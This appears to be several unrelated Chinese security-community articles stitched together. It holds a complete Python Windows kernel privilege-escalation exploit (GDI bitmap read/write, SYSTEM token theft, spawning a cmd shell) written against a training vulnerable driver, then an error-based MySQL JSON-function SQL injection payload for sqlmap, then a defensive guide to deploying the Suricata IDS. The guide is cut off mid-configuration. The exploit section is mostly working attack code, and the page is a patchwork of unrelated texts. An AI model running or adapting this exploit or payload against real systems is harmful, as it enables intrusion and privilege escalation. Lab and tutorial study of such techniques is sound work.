ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hManager_pvscan0_off : {0}".format(hex(hManager_pvscan0_off))
ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hWorker_pvscan0_off : {0}".format(hex(hWorker_pvscan0_off))
写入成功
最后就是找SYSTEM权限的进程，然后把该进程的Token写入到当前进程，这个不多说了。还需要留意几个重要的偏移，不同版本的Win10上可能不一致.
kd> dt _EPROCESS UniqueProcessId ActiveProcessLinks
ntdll!_EPROCESS
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
kd> dt _EPROCESS ImageFileName Token
ntdll!_EPROCESS
+0x358 Token : _EX_FAST_REF
+0x450 ImageFileName : [15] UChar
我这里得到的是
token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0
WIN~
完整的EXP
import sys,time,struct,ctypes,os
from ctypes import *
from ctypes.wintypes import *
from subprocess import *
from win32com.shell import shell
import win32con
kernel32 = windll.kernel32
gdi32 = windll.gdi32
ntdll = windll.ntdll
hManager = HBITMAP()
hWorker = HBITMAP()
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class GDICELL64(Structure):
_fields_ = [("pKernelAddress", c_void_p),
("wProcessId", c_ushort),
("wCount", c_ushort),
("wUpper", c_ushort),
("wType", c_ushort),
("pUserAddress", c_void_p)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
def write_mem(dest, src, length):
global hManager
global hWorker
write_buf = c_ulonglong(dest)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.SetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), src)
def read_mem(src, dest, length):
global hManager
global hWorker
write_buf = c_ulonglong(src)
gdi32.SetBitmapBits(HBITMAP(hManager), c_ulonglong(sizeof(write_buf)), LPVOID(addressof(write_buf)));
gdi32.GetBitmapBits(HBITMAP(hWorker), c_ulonglong(length), dest)
def find_kernelBase(input_modules):
modules = {}
# Allocate arbitrary buffer and call NtQuerySystemInformation
system_information = create_string_buffer(0)
systeminformationlength = c_ulong(0)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Call NtQuerySystemInformation second time with right size
system_information = create_string_buffer(systeminformationlength.value)
ntdll.NtQuerySystemInformation(11, system_information, len(system_information), byref(systeminformationlength))
# Read first 4 bytes which contains number of modules retrieved
module_count = c_ulong(0)
module_count_string = create_string_buffer(system_information.raw[:8])
ctypes.memmove(addressof(module_count), module_count_string, sizeof(module_count))
# Marshal each module information and store it in a dictionary<name, SYSTEM_MODULE_INFORMATION>
system_information = create_string_buffer(system_information.raw[8:])
for x in range(module_count.value):
smi = SYSTEM_MODULE_INFORMATION()
temp_system_information = create_string_buffer(system_information.raw[sizeof(smi) * x: sizeof(smi) * (x+1)])
ctypes.memmove(addressof(smi), temp_system_information, sizeof(smi))
module_name = smi.FullPathName.split('\')[-1]
modules[module_name] = smi
#debug_print ("rn[+] NtQuerySystemInformation():")
# Get base addresses and return them in a list
base_addresses = []
for input_module in input_modules:
try:
base_address = modules[input_module].ImageBase
#debug_print ("t[-] %s base address: 0x%X" % (input_module, base_address))
base_addresses.append(base_address)
except:
base_addresses.append(0)
return base_addresses
def main():
global hManager
global hWorker
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
gdi32.CreateBitmap.restype = HBITMAP
hManager = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())
hWorker = gdi32.CreateBitmap(0x64, 0x64, 1, 32, c_void_p())
print "[+] hManager Handle : {0}".format(hex(hManager))
print "[+] hWorker Handle : {0}".format(hex(hWorker))
pbi = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)
peb = pbi.PebBaseAddress.contents
gdiHandleTable = peb.GdiSharedHandleTable
print "[+] GdiSharedHandleTable : {0}".format(hex(gdiHandleTable))
ptr = gdiHandleTable + (hManager & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hManager_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hManager_pvscan0_off : {0}".format(hex(hManager_pvscan0_off))
ptr = gdiHandleTable + (hWorker & 0xFFFF) * sizeof(GDICELL64())
gdicell64 = cast(ptr, POINTER(GDICELL64))
hWorker_pvscan0_off = gdicell64.contents.pKernelAddress + 0x50
print "[+] hWorker_pvscan0_off : {0}".format(hex(hWorker_pvscan0_off))
write_where = struct.pack("<Q", hManager_pvscan0_off)
write_what_object = struct.pack("<Q", hWorker_pvscan0_off)
write_what_object_ptr = id(write_what_object) + 0x20
write_what_final = struct.pack("<Q", write_what_object_ptr)
buf = write_what_final + write_where
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
kernelImage = "ntoskrnl.exe"
kernelImageBase = find_kernelBase(kernelImage.split())[0]
kernel32.LoadLibraryA.restype = HMODULE
hKernelImage = kernel32.LoadLibraryA(kernelImage)
print "[+] Module Name : {0}".format(kernelImage)
print "[+] Module Base(Userland) : {0}".format(hex(hKernelImage))
kernel32.GetProcAddress.restype = c_ulonglong
kernel32.GetProcAddress.argtypes = (HMODULE, LPCSTR)
PsISP_user_addr = kernel32.GetProcAddress(hKernelImage,"PsInitialSystemProcess")
print "[+] PsInitialSystemProcess Userland Base Address : {0}".format(hex(PsISP_user_addr))
PsISP_kernel_addr_ptr = kernelImageBase + (PsISP_user_addr - hKernelImage)
print "[+] PsInitialSystemProcess Kernel Base Address : {0}".format(hex(PsISP_kernel_addr_ptr))
PsISP_kernel_addr = c_ulonglong()
read_mem(PsISP_kernel_addr_ptr, byref(PsISP_kernel_addr), sizeof(PsISP_kernel_addr));
SYSTEM_EPROCESS = PsISP_kernel_addr.value
print "[+] SYSTEM EPROCESS : {0}".format(hex(SYSTEM_EPROCESS))
token_off = 0x358
unique_process_id_off = 0x2e8
active_process_links_off = 0x2f0
flink = c_ulonglong()
read_mem(SYSTEM_EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
CURRENT_EPROCESS = 0
while (True):
unique_process_id = c_ulonglong(0)
# Adjust EPROCESS pointer for next entry
EPROCESS = flink.value - unique_process_id_off - 0x8
read_mem(EPROCESS + unique_process_id_off, byref(unique_process_id), sizeof(unique_process_id));
# Check if we're in the current process
if (os.getpid() == unique_process_id.value):
CURRENT_EPROCESS = EPROCESS
break
read_mem(EPROCESS + active_process_links_off, byref(flink), sizeof(flink));
# If next same as last, we've reached the end
if (EPROCESS == flink.value - unique_process_id_off - 0x8):
break
print "[+] CURRENT EPROCESS : {0}".format(hex(CURRENT_EPROCESS))
system_token = c_ulonglong()
read_mem(SYSTEM_EPROCESS + token_off, byref(system_token), sizeof(system_token));
write_mem(CURRENT_EPROCESS + token_off, byref(system_token), sizeof(system_token));
Popen("start cmd", shell=True)
if __name__ == "__main__":
main()
## 0x006 参考文章
[Part 17: Kernel Exploitation -> GDI Bitmap Abuse (Win7-10
32/64bit)](http://www.fuzzysecurity.com/tutorials/expDev/21.html)
[Window Kernel Exploit -> GDI Bitmap Abuse](http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/)
[Techwiki:Win32k/BASEOBJECT](https://www.reactos.org/wiki/Techwiki:Win32k/BASEOBJECT) | 社区文章 |
MySQL 5.7版本以后增加了新的特性，其中一个就是开始支持原生的json格式数据，相应的也增加了处理json数据的函数
具体详见：<https://dev.mysql.com/doc/refman/5.7/en/json-function-reference.html>
[
而以上这些函数都存在报错类型的注入，例如：JSON_REPLACE函数
然后可以把加入sqlmap，让sqlmap支持对JSON函数的注入
<test>
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS FUNCTION)</title>
<stype>2</stype>
<level>1</level>
<risk>0</risk>
<clause>1,2,3</clause>
<where>1</where>
<vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))USING UTF8)))</vector>
<request>
<payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (MAKE_SET([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))USING UTF8)))</payload>
</request>
<response>
<grep>DELIMITER_START[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>>= 5.7</dbms_version>
</details>
</test>
使用sqlmap自动注入测试
[ | 社区文章 |
#### 0x00 背景
公司流量检测项目推进，需求如下：
1. 在办公网、生产网流量中发现攻击行为（如端口扫描、暴力破解、web攻击、溢出攻击等攻击行为，以及webshell、挖矿木马、C2控制端等），最终输出到内部威胁感知平台做日常运营。
2. 提取http数据，后续对接漏扫。
3. 流量中的文件提取。后续对接沙箱或相关恶意文件检测接口（例如virustotal等）进行恶意文件检测。
之前对比了Snort和Suricata，由于性能及多线程等优势，最终选择Suricata作为流量检测引擎。第一个需求考虑使用Suricata，二和三的需求后续考虑使用Bro实现。
故先在内网搭建Suricata进行测试：
> 目标机器版本：Centos 7.2
>
> Suricata版本：suricata-4.1.3
#### 0x01 相关依赖安装
1.先安装相关依赖包：
sudo yum -y install gcc libpcap-devel pcre-devel libyaml-devel file-devel \
zlib-devel jansson-devel nss-devel libcap-ng-devel libnet-devel tar make \
libnetfilter_queue-devel lua-devel
2.安装所需工具：
同样的，也要根据所需安装相关的配套工具，使Suricata发挥出最大”功力“。我这边用到的有luajit、PF_RING、
和Hyperscan。
##### <1> luajit
* LuaJIT简介
LuaJIT是采用C语言写的Lua代码的解释器，LuaJIT试图保留Lua的精髓--轻量级,高效和可扩展。
* LuaJIT的安装
wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
tar -zxf LuaJIT-2.0.5.tar.gz
cd LuaJIT-2.0.5/
sudo make && make install
得到如下提示，证明安装完成了：
我们需要更新动态库,对文件/etc/ld.so.conf进行修改，添加相应的路径/usr/local/lib。
vim /etc/ld.so.conf
#添加如下路径，保存退出
/usr/local/lib
#运行如下命令加载
sudo ldonfig
##### <2> PF_RING
* PF_RING简介
Github地址：<https://github.com/ntop/PF_RING>
PF_RING是Luca研究出来的基于Linux内核级的高效数据包捕获技术。简单来说PF_RING 是一个高速数据包捕获库,通过它可以实现将通用 PC
计算机变成一个有效且便宜的网络测量工具箱,进行数据包和现网流量的分析和操作。同时支持调用用户级别的API来创建更有效的应用程序。PF_RING是拥有一套完整开发接口的高速数据包捕捉库，与我们熟知的libpcap十分相似，但其性能要优于libpcap。
按照传统的观念，中间网络节点只能按照协议栈的层次一层一层地解析数据包，所谓路由器是三层设备，交换机是二层设备，防火墙分为二层防火墙和三层防火墙...使用PF_RING的设备，它可以将数据包直接从网卡的芯片DMA到你机器上的内存，仅此而已，然后你通过一个应用程序而不是内核协议栈来处理数据包，至于说你的应用程序怎么处置数据包，我来列举几个：
<1> 深度解析数据包，按照各种你可以想到的粒度来解析会话，然后记录审计信息；
<2> 提供高性能的入侵检测功能；
<3>
转发数据包，按照路由器的方式。但是不再仅仅通过查询路由表的方式进行IP路由，而是可以通过各种各样的方式，转发表完全由你自己定义，比如实现一个通用的SDN流表；
<4> 根据上面第2点的含义，你可以决定哪些包被丢弃，这就是一个高性能的防火墙。
相比协议栈的串行解决方案，使用PF_RING是一个更加高效的方案，不但高效，而且灵活。如果你拥有多核心的处理器，你甚至可以可以在用户态并行处理数据包的各个层信息。
更多的关于PF_RING的机制和原理，参考这篇文章：
[PF_RING学习笔记](https://www.jianshu.com/p/6d3f3cdc2411?from=timeline)
* PF_RING的安装
我这边的流量镜像在eth0网卡，我这边配置的eth0网卡的PF_RING:
#安装基本库
yum install numactl-devel
#编译安装PF_RING之前需要卸载原来的网卡驱动，卸载之前使用ethtool命令查看当前网卡的类型和驱动版本
ethtool -i eth0
lsmod | grep igb
rmmod igb
#Tips：该操作可能会造成网络无法连接，所以需要现场进行操作，避免使用ssh远程
git clone https://github.com/ntop/PF_RING/
cd PF_RING/
make #直接在跟目录下面make,进行全部编译
cd PF_RING/kernel
make
sudo make install
#最好设置一下，官方解释是2的性能最好，但是有大神测试后发现差别并不是很大
insmod pf_ring.ko transparent_mode=1
当PF_RING激活时，会创建/proc/net/pf_ring目录，使用cat命令查看pf_ring的属性信息:
`cat /proc/net/pf_ring/info`
#编译安装PF_RING所需依赖库
cd PF_RING/userland/lib
./configure
make
sudo make install
如果需要使用libpcap抓包分析，请卸载之前安装的libpcap，然后进入/userland/libpcap-1.1.1-ring/目录下配置、编译和安装驱动。
#卸载原来的libpqcap
rpm -qa libpcap #查看安装的libpcap，如果有libpcap则强制卸载
rpm --nodeps -e libpcap
#安装PF_RING的libpcap
cd PF_RING-dev/userland/libpcap
./configure
make
sudo make install
#编译网卡驱动
cd PF_RING/drivers/intel/igb/igb-5.3.5.18-zc/src
sudo insmod igb.ko #安装pf_ring网卡驱动
sudo modprobe igb #只能载入/lib/modules/<kernel ver>/中模块
安装完毕，使用dmesg命令查看驱动信息：
`dmesg | grep Ethernet`
测试网络的接受包数：
cd PF_RING/userland/example
make
./pfcount -i eth0 #测试捕获eth0的数据报文
PF_RING安装完成后，需要在suricata的配置文件中（suricata.yaml）进行配置，参见下文：0x03 suricata.yaml配置。
##### <3> Hyperscan
* Hyperscan简介
Github地址：<https://github.com/intel/hyperscan>
Wiki：<https://github.com/ntop/PF_RING/wiki>
文档：<https://www.ntop.org/guides/pf_ring/>
Hyperscan是一个高性能的多重正则表达式匹配库。在Suricata中它可以用来执行多模式匹配。Hyperscan适用于部署在诸如DPI/IPS/IDS/FW等场景中,目前已经在全球多个客户网络安全方案中得到实际的应用。
使用 Hyperscan 作为 Suricata 的 MPM(多处理模块) 匹配器（mpm-algo 设置）可以大大提高性能，尤其是在快速模式匹配方面。
Hyperscan 还在快速模式匹配时考虑深度和偏移量。
可以看到，Hyperscan在不同规则集下，单核性能可实现3.6Gbps~23.9Gbps。而且Hyperscan具有良好的扩展性，随着使用核数的增加，匹配性能基本处于线性增长的趋势。在网络场景中，同一规则库往往需要匹配多条网络流。Hypercan的高扩展性为此提供了有力的支持。
更多关于Hyperscan的机制和原理，参考这篇文章：
[来自Intel的高性能的正则表达式匹配库——Hyperscan](https://www.jianshu.com/p/0ca3e14c20e8)
* Hyperscan的安装
#安装依赖
yum install cmake ragel libtool python-devel GyeoIP-devel
yum install boost boost-devel boost-doc
yum install libquadmath libquadmath-devel bzip2-devel
#boost不需要编译安装，如果通过系统包管理工具(yum/apt-get)安装的，版本无法满足版本需要，则需要下载源码包，解压后执行类似
wget http://downloads.sourceforge.net/project/boost/boost/1.60.0/boost_1_60_0.tar.gz
tar xvzf boost_1_60_0.tar.gz
cd boost_1_60_0/
./bootstrap.sh --prefix=/tmp/boost-1.60
#开始编译，编译的过程有点慢
./b2 install
#安装hyperscan
git clone https://github.com/intel/hyperscan
mkdir build
cd build
cmake -DBUILD_STATIC_AND_SHARED=1 -DBOOST_ROOT=/tmp/boost-1.60
#开始安装
make
make install
最终的安装完成页面如下所示：
需要更新动态库,对文件/etc/ld.so.conf进行修改，添加相应的路径/usr/local/lib64
vim /etc/ld.so.conf
#添加如下路径，保存退出
/usr/local/lib64
#运行如下命令加载
sudo ldonfig
#### 0x02 Suricata的安装
wget https://www.openinfosecfoundation.org/download/suricata-4.1.3.tar.gz
tar -xvzf suricata-4.1.3.tar.gz
cd suricata-4.1.3
#编译时可用的参数比较多，要根据自己的需求增加相关编辑参数。参见下文<./configure常见参数作用简单说明>
#我的编译命令如下：
./configure --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-pfring --with-libpfring-includes=/usr/local/pfring/include
--with-libpfring-libraries=/usr/local/pfring/lib --enable-geoip --enable-luajit --with-libluajit-includes=/usr/local/include/luajit-2.0/
--with-libluajit-libraries=/usr/local/lib/ --with-libhs-includes=/usr/local/include/hs/ --with-libhs-libraries=/usr/local/lib/ --enable-profiling
./configure常见参数作用简单说明：
使用./configure --help可查看各个参数的说明，其中常见的编译参数如下：
--prefix=/usr/ #Suricata 安装在/usr/bin/.默认安装在/usr/local/
--sysconfdir=/etc #Suricata配置文件存在/etc/suricata/,默认存在 /usr/local/etc/
--localstatedir=/var #设置Suricata日志放在 /var/log/suricata/.默认在 /usr/local/var/log/suricata
--enable-lua #启用Lua支持检测和输出
--enable-geopip #启用GeoIP支持检测
--enable-rust #启用实验Rust支持
--enable-profiling #启用性能分析
--enable-nfqueue #为内联IDP(启用NFQueue支持)启用NFQueue支持，一般开启Suricata的IPS模式时使用
# 加入PF_RING支持
--enable-pfring #启用本机Pf_Ring的支持
--with-libpfring-includes #libpfring的目录
--with-libpfring-libraries #libpfring的库目录
#Lua主要用来编写规则
--enable-luajit #启用Luajit(C语言编写的Lua代码解析器)支持
--with-libluajit-includes #libluajit的目录
--with-libluajit-libraries #libluajit的库目录
#使用scan(一个高性能的多重正则表达式匹配库)时，所需的库
--with-libhs-includes #libhs的目录
--with-libhs-libraries #libhs的库目录
--with-libnss-libraries #libnss的目录
--with-libnss-includes #libnss的库目录
--with-libnspr-libraries #libnspr的目录
--with-libnspr-includes #libnspr的库目录
编译完成，如下图所示：
随后运行如下命令进行安装：
make
sudo make install
sudo make install-conf
Suricata安装在/usr/bin/下，相关配置在/etc/suricata/，日志输出在/var/log/suricata/下。运行suricata，返回如下信息，证明安装成功。
执行`suricata --build-info`,如果上述的安装都没问题的话，可以看到suricata已支持PF_RING、LUA和Hyperscan。如下图所示：
#### 0x03 suricata.yaml配置
suricata.yaml配置文件的相关参数说明可参考这篇文章：[Suricata配置文件说明](https://www.cnblogs.com/UnGeek/p/5796934.html)
如下是我的相关suricata配置文件的配置：
##### <1> 基本配置
##
## Step 1: inform Suricata about your network
##
vars:
# more specific is better for alert accuracy and performance
address-groups:
#HOME_NET: "[192.168.0.0/16,10.0.0.0/8,172.16.0.0/12]"
#配置内网网段
HOME_NET: "[192.168.0.0/16,10.0.0.0/16]"
#HOME_NET: "[192.168.0.0/16]"
#HOME_NET: "[10.0.0.0/8]"
#HOME_NET: "[172.16.0.0/12]"
#HOME_NET: "any"
EXTERNAL_NET: "!$HOME_NET"
#EXTERNAL_NET: "any"
HTTP_SERVERS: "$HOME_NET"
SMTP_SERVERS: "$HOME_NET"
SQL_SERVERS: "$HOME_NET"
DNS_SERVERS: "$HOME_NET"
TELNET_SERVERS: "$HOME_NET"
AIM_SERVERS: "$EXTERNAL_NET"
DC_SERVERS: "$HOME_NET"
DNP3_SERVER: "$HOME_NET"
DNP3_CLIENT: "$HOME_NET"
MODBUS_CLIENT: "$HOME_NET"
MODBUS_SERVER: "$HOME_NET"
ENIP_CLIENT: "$HOME_NET"
ENIP_SERVER: "$HOME_NET"
port-groups:
HTTP_PORTS: "80"
SHELLCODE_PORTS: "!80"
ORACLE_PORTS: 1521
SSH_PORTS: "[22,63501,57891]"
DNP3_PORTS: 20000
MODBUS_PORTS: 502
FILE_DATA_PORTS: "[$HTTP_PORTS,110,143]"
FTP_PORTS: 21
......
......
......
#开一些协议解析的字段，保存更详细的日志，便于溯源#
outputs:
# a line based alerts log similar to Snort's fast.log
- fast:
enabled: yes
filename: fast.log
append: yes
#filetype: regular # 'regular', 'unix_stream' or 'unix_dgram'
# Extensible Event Format (nicknamed EVE) event log in JSON format
- eve-log:
enabled: yes
filetype: regular #regular|syslog|unix_dgram|unix_stream|redis
filename: eve.json
......
......
......
types:
- alert:
payload: yes # enable dumping payload in Base64
# payload-buffer-size: 4kb # max size of payload buffer to output in eve-log
payload-printable: yes # enable dumping payload in printable (lossy) format
packet: yes # enable dumping of packet (without stream segments)
# http-body: yes # enable dumping of http body in Base64
http-body-printable: yes # enable dumping of http body in printable format
# metadata: no # enable inclusion of app layer metadata with alert. Default yes
# Enable the logging of tagged packets for rules using the
# "tag" keyword.
tagged-packets: yes
- http:
extended: yes # enable this for extended logging information
# custom allows additional http fields to be included in eve-log
# the example below adds three additional fields when uncommented
custom: [Accept-Encoding, Accept-Language, Authorization,cookie,origin,server]
- dns:
# This configuration uses the new DNS logging format,
# the old configuration is still available:
# http://suricata.readthedocs.io/en/latest/configuration/suricata-yaml.html#eve-extensible-event-format
# Use version 2 logging with the new format:
# DNS answers will be logged in one single event
# rather than an event for each of it.
# Without setting a version the version
# will fallback to 1 for backwards compatibility.
version: 2
# Enable/disable this logger. Default: enabled.
enabled: yes
# Control logging of requests and responses:
# - requests: enable logging of DNS queries
# - responses: enable logging of DNS answers
# By default both requests and responses are logged.
requests: yes
responses: yes
# Format of answer logging:
# - detailed: array item per answer
# - grouped: answers aggregated by type
# Default: all
#formats: [detailed, grouped]
# Answer types to log.
# Default: all
types: [a, aaaa, cname, mx, ns, ptr, txt]
- tls:
extended: yes # enable this for extended logging information
# output TLS transaction where the session is resumed using a
# session id
#session-resumption: no
# custom allows to control which tls fields that are included
# in eve-log
#custom: [subject, issuer, session_resumed, serial, fingerprint, sni, version, not_before, not_after, certificate, chain, ja3]
- files:
force-magic: no # force logging magic on all logged files
# force logging of checksums, available hash functions are md5,
# sha1 and sha256
#force-hash: [md5]
#- drop:
# alerts: yes # log alerts that caused drops
# flows: all # start or all: 'start' logs only a single drop
# # per flow direction. All logs each dropped pkt.
- smtp:
extended: yes # enable this for extended logging information
# this includes: bcc, message-id, subject, x_mailer, user-agent
# custom fields logging from the list:
# reply-to, bcc, message-id, subject, x-mailer, user-agent, received,
# x-originating-ip, in-reply-to, references, importance, priority,
# sensitivity, organization, content-md5, date
custom: [received, x-mailer, x-originating-ip, relays, reply-to, bcc]
......
......
......
#规则这块使用suricata-update管理，相关suricata.yaml文件的配置参见0x04#
##### <2> PF_RING – suricata.yaml 配置
大致的配置参考了下网上的资料，还有些其他参数可能还得深入研究下。大致配置如下：
# Runmode the engine should use. Please check --list-runmodes to get the available
# runmodes for each packet acquisition method. Defaults to "autofp" (auto flow pinned
# load balancing).
runmode: workers
# packet size (MTU + hardware header) on your system.
default-packet-size: 1522
# Defrag settings:
defrag:
memcap: 512mb
hash-size: 65536
trackers: 65535 # number of defragmented flows to follow
max-frags: 65535 # number of fragments to keep (higher than trackers)
prealloc: yes
timeout: 30
flow:
memcap: 1gb
hash-size: 1048576
prealloc: 1048576
emergency-recovery: 30
#managers: 1 # default to one flow manager
#recyclers: 1 # default to one flow recycler thread
flow-timeouts:
default:
new: 3
established: 30
closed: 0
bypassed: 10
emergency-new: 10
emergency-established: 10
emergency-closed: 0
emergency-bypassed: 50
tcp:
new: 6
established: 100
closed: 12
bypassed: 100
emergency-new: 1
emergency-established: 5
emergency-closed: 2
emergency-bypassed: 50
udp:
new: 3
established: 30
bypassed: 100
emergency-new: 3
emergency-established: 10
emergency-bypassed: 50
icmp:
new: 3
established: 30
bypassed: 100
emergency-new: 1
emergency-established: 10
emergency-bypassed: 50
stream:
memcap: 12gb
checksum-validation: no # reject wrong csums
prealloc-sesions: 500000 #per thread
midstream: true
asyn-oneside: true
inline: no # auto will use inline mode in IPS mode, yes or no set it statically
reassembly:
memcap: 20gb
depth: 12mb # reassemble 1mb into a stream
toserver-chunk-size: 2560
toclient-chunk-size: 2560
randomize-chunk-size: yes
#randomize-chunk-range: 10
#raw: yes
#segment-prealloc: 2048
#check-overlap-different-data: true
# PF_RING configuration. for use with native PF_RING support
# for more info see http://www.ntop.org/products/pf_ring/
pfring:
- interface: eth0
# Number of receive threads. If set to 'auto' Suricata will first try
# to use CPU (core) count and otherwise RSS queue count.
threads: 16
# Default clusterid. PF_RING will load balance packets based on flow.
# All threads/processes that will participate need to have the same
# clusterid.
cluster-id: 99
# Default PF_RING cluster type. PF_RING can load balance per flow.
# Possible values are cluster_flow or cluster_round_robin.
cluster-type: cluster_flow
# bpf filter for this interface
#bpf-filter: tcp
libhtp:
default-config:
personality: IDS
# Can be specified in kb, mb, gb. Just a number indicates
# it's in bytes.
request-body-limit: 12mb
response-body-limit: 12mb
# inspection limits
request-body-minimal-inspect-size: 32kb
request-body-inspect-window: 4kb
response-body-minimal-inspect-size: 40kb
response-body-inspect-window: 16kb
suricata.yaml配置完成后，运行`suricata
-T`以测试模式运行suricata，看下suricata.yaml是否有报错，如果有报错，要仔细检查下。要特别注意回车符和空格。若无报错，运行结果如下所示：
#### 0x04 安装suricata-update管理规则
安装suricata-update的文章参见之前写的文章：
[Suricata规则介绍、以及使用suricata-update做规则管理](https://zhuanlan.zhihu.com/p/36340468)
suricata-update管理规则，会默认将多个规则集的每一条都写到`/var/lib/suricata/rules/suricata.rules`文件中。所以我们要在suricata的配置文件suricata.yaml中配置suricata的规则指定使用suricata.rules，其他的一些默认规则的配置都注释掉。suricata.yaml的配置如下图所示：
suricata-update其他的一些使用简单介绍如下：
# 列出suricata-update支持的所有的规则源
suricata-update list-sources
# 启用一个规则集（我这边启用的是ET的规则集）
suricata-update enable-source et/open
目前我把suricata-update这边能用的规则全部都enable了，后续根据误报情况再做优化。开启的规则集如下：
规则集开启完成后，使用如下命令进行规则下载和更新：
# 规则下载和更新
suricata-update
下载更新完，总共有3万+的规则：
规则下载和更新完后，使用`suricata -T`命令测试。若有相关规则报错，直接将该条报错的规则进行注释。suricata-update支持便捷的禁用规则的方法，在/etc/suricata目录下新建disable.conf。配置文件中写入规则特征，每次更新会禁用该规则。
参考Suricata-update的官方文档，disable.conf中支持三种规则特征：
支持三种方式进行规则禁用：规则的sid、正则表达式和规则组名。
报错的规则数量不多，我这边直接使用sid进行禁用，disable.conf中写入报错规则的sid后，使用如下命令进行规则更新：
suricata-update --disable-conf /etc/suricata/disable.conf
更多suricata-update的使用，请参照suricata-update的官网文档：
<https://suricata-update.readthedocs.io/en/latest/index.html>
> **TIPS：** 更新完规则后，suricata不需要重新启动来载入新的规则，使用命令 `ps -ef | grep
> suricata`查看suricata的pid，通过kill命令发送usr2信号来重新加载suricata规则 `kill -USR2 pid`
#### 0x05 Suricata的运行
待suricata的规则配置完成后，直接使用如下命令运行：
`suricata --pfring-int=eth0 --pfring-cluster-id=99 --pfring-cluster-type=cluster_flow -c /etc/suricata/suricata.yaml --init-errors-fatal -D -v`
若需要停止suricata，运行如下命令即可:
ps -ef | grep suricata|grep -v grep
kill -9 id
rm -f /var/run/suricata.pid
#### 0x06 对接内网ES集群
公司内网ES集群目前的架构如下：
解释下Logstash的Shipper和Indexer：
* Shipper:日志收集者。负责监控本地日志文件的变化，及时把日志文件的最新内容收集起来，输出到Redis暂存，其input为实际的日志源，output一般来说都是redis（做缓存不一定用redis，也可以用其他的）
* Indexer:日志存储者。负责从Redis接收日志，写入到本地文件。其input是redis(shipper的output)，output则是elasticSearch搜索引擎。
本来之前打算的方案是，将日志直接发到redis(suraicata.yaml中可配置直接将日志发到redis)：
但是蛋疼的是，如果你的redis有加了密码，suricata没法将日志直接发到redis了，因为目前还不支持redis的认证。
所以我这边直接在机器上使用FileBeat，将日志发到ES集群的Logstash Shipper。
##### <1> filebeat的安装配置
安装filebeat:
wget https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-6.7.0-linux-x86_64.tar.gz
tar -zxvf filebeat-6.7.0-linux-x86_64.tar.gz
cd filebeat-6.7.0-linux-x86_64/
vim filebeat.yml
filebeat.yml的配置如下所示：
#=========================== Filebeat inputs =============================
filebeat.inputs:
- type: log
enabled: true
paths:
- /var/log/suricata/eve.json
json.keys_under_root: true
json.overwrite_keys: true
...
...
...
#----------------------------- Logstash output -------------------------------- output.logstash:
# The Logstash hosts
#hosts: ["localhost:5044"]
hosts: ["10.8.2.15:50007"]
其他配置的说明参考这篇文章：[Filebeat相关语法命令](https://www.cnblogs.com/blogjun/articles/bcb12b9fa928bfff58ed3743b2accb57.html)
配置文件配置完成后，可使用`./filebeat -configtest -e`命令进行测试。
启动filebeat：
# -d "publish" 启用对指定选择器的调试，显示所有“publish”相关的消息
./filebeat -e -c filebeat.yml -d "publish"
后台方式启动filebeat：
nohup ./filebeat -e -c filebeat.yml >/dev/null 2>&1 &
停止filebeat：
ps -ef | grep filebeat
kill -9 进程号
##### <2> Logstash的conf配置
数据存到redis后，在Logtash Indexer对日志进行切分。
filter {
if [type] == "suricata_log" {
date {
match => [ "timestamp", "ISO8601" ]
}
ruby {
code => "
if event.get('[event_type]') == 'fileinfo'
event.set('[fileinfo][type]', event.get('[fileinfo][magic]').to_s.split(',')[0])
end
"
}
ruby {
code => "
if event.get('[event_type]') == 'alert'
sp = event.get('[alert][signature]').to_s.split(' group ')
